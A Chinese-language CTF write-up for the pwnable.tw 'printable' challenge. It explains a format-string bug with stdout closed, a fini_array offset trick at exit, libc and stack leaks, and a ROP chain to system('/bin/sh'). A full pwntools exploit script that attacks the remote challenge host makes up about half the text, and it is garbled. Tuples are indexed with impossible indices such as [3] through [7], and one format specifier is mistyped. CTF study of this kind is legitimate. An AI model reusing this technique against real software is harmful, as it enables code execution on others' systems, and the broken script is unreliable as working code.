2021年2月

分析

题目主要逻辑非常短:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-90h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init_proc();                                  // set no buf
  memset(&s, 0, 0x80uLL);                       // 0x80栈上缓冲区
  printf("Input :", 0LL);
  close(1);                                     // 关闭输出流
                                                // 需要想办法打开或绕过
  read(0, &s, 0x80uLL);
  printf(&s, &s);                               // 裸的格式化串
  exit(0);                                      // 直接exit0,考虑利用fini_array
}

在read之前调用了close(1)来关闭stdout流,然后有一个裸的格式化字符串漏洞。由于stderr没有关闭,可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体,此时再调用printf函数时,就可以将内容从stderr流输出来。

在调试过程中发现fini_array内存不可写,不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现,在最后exit(0)的执行过程中会出现如下图的一处指令,来调用fini_array[0]处保存的指针:

其中r12&fini_array[0]的值,而rdx固定为0,于是往前找可以找到如下控制r12的指令:

r12初始值为&fini_array[0],然后加上[rbx]的值。而rbx中保存的地址,正是第一次调用printf前,栈上第42个参数的值。于是想到,在格式化字符串利用时写&fini_array[0]与一个可写可控地址(如.bss_start)之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上,那么最后在exit时就可以构造出call *.bss_start这样的跳转。

修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动,泄露完后不能直接再次返回。很碰巧的是在第二次printf前,栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦,直接写该地址,这样当printf执行完后就会直接回到read片段,且栈不会发生大的变化。(这是第二个容易卡住的点

最后一步很明显是借助上面的方法去getshell,但是不知道为何,直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget,从而在printf返回时跳过payload,执行提前布置的rop链来getshell。

需要注意的是,最后一次写返回地址需要写长达6个字节,于是我拆分成了3次,每次写2字节。为了保证从小到大地写入三个地址片段(格式化字符串基本概念),我在分出每个片段后做了一次排序。

虽然说修改了stdout指针,但是getshell之后直接cat文件会提示文件描述符错误,需要在指令中重定向一下:cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符,右边如果直接使用2会被认为是重定向到一个名为2的文件,所以需要用&修饰,表示这是一个文件描述符。

思路

  1. 改写stdout,改写fini_array偏移到bss_start位置;

  2. 泄露栈地址,glibc地址,修改printf返回地址;

  3. 修改printf返回地址为add rsp, 0x80; ret;gadget,在格式化串payload后面布置好system("/bin/sh"); rop链.

EXP

#/usr/bin/python3
from pwn import *
import time

local_dbg = 1
libc = ELF("./libc_64.so.6")
elf = ELF("./printable")
context.log_level = "debug"

# const
ret_addr = 0x400925 #ret->read->printf->...
bss_addr = 0x601000
fini_array_0 = 0x600DB8 #fini_array[0]
fini_array_1 = 0x600DB8+8 #fini_array[1]
bss_stdout = 0x601020 # low bytes: 0x2620->0x2540
libc_csu_fini = elf.symbols[b"__libc_csu_fini"]
fini_array_to_bss_offset = bss_addr - fini_array_0
one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
print("[*] libc_csu_fini:", hex(libc_csu_fini))
print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset))

def exp():
    #gdb.attach(p, "b *0x40094d\nc\n")

    # build ret &
    # make stdout->stderr struct &
    # build fake fini_array in bss_start &
    payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1]
    payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0]
    payload1 += "%{}$hnn".format(18) #bss_start[2]
    payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr
    payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2]
    payload1 =  payload1.encode().ljust(0x50, b"\x00")
    payload1 += p64(bss_stdout+1) #16
    payload1 += p64(bss_stdout) #17
    payload1 += p64(bss_addr+2) #18
    payload1 += p64(bss_addr) #19
    p.sendafter("Input :", payload1+b"\n\x00")
    time.sleep(0.5)

    # leak libc & stack
    payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr
    payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c)
    payload2 = payload2.encode()
    p.send(payload2+b"\x00")

    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    print("[*] stack_leak:", hex(stack_leak))
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    print("[*] binsh:", hex(binsh))

    # ret to system("/bin/sh")
    ## some gadgets
    add_rsp_0x80_ret = libc_base + 0x6b4b8
    stack_printf_ret = stack_leak - 0x290
    pop_rdi_ret = 0x4009c3
    print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret))
    print("[*] stack_printf_ret:", hex(stack_printf_ret))

    gadget = add_rsp_0x80_ret
    gadget_addr_parts = {
        0 : gadget&0xffff, 
        1 : (gadget&(0xffff<<16))>>16, 
        2 : (gadget&(0xffff<<32))>>32
    }
    gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1])
    print("[*] sorted one_gadget addr parts:")
    for item in gadget_addr_parts:
        print(item[0], ":", hex(item[1]))

    ## gadget part
    payload3 = "%{}c%{}$hn".format(
    gadget_addr_parts[0][3], 
    0x13)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[1][4] - gadget_addr_parts[0][5], 
    0x14)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[2][6] - gadget_addr_parts[1][7], 
    0x15)
    payload3 = payload3.encode().ljust(0x30, b"\x00")
    ## addrs
    for item in gadget_addr_parts:
        payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15
    ## rop
    rop_chain = p64(0x4009c3) + p64(binsh) + p64(system)
    p.send(payload3 + rop_chain + b"\n\x00")


    # get shell
    #cmd = "cat /home/printable/printable_fl4g 1>&2;"
    p.interactive()
    action = input("What's next: ")
    return False if action == "exit" else True

if __name__ == "__main__":
    global p
    while True:
        #p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"})
        p = remote("chall.pwnable.tw", 10307)
        try:
            ret = exp()
            if ret == False:
                p.close()
                break
            else:
                p.close()
                continue
        except:
            print("ERROR!")
            p.close()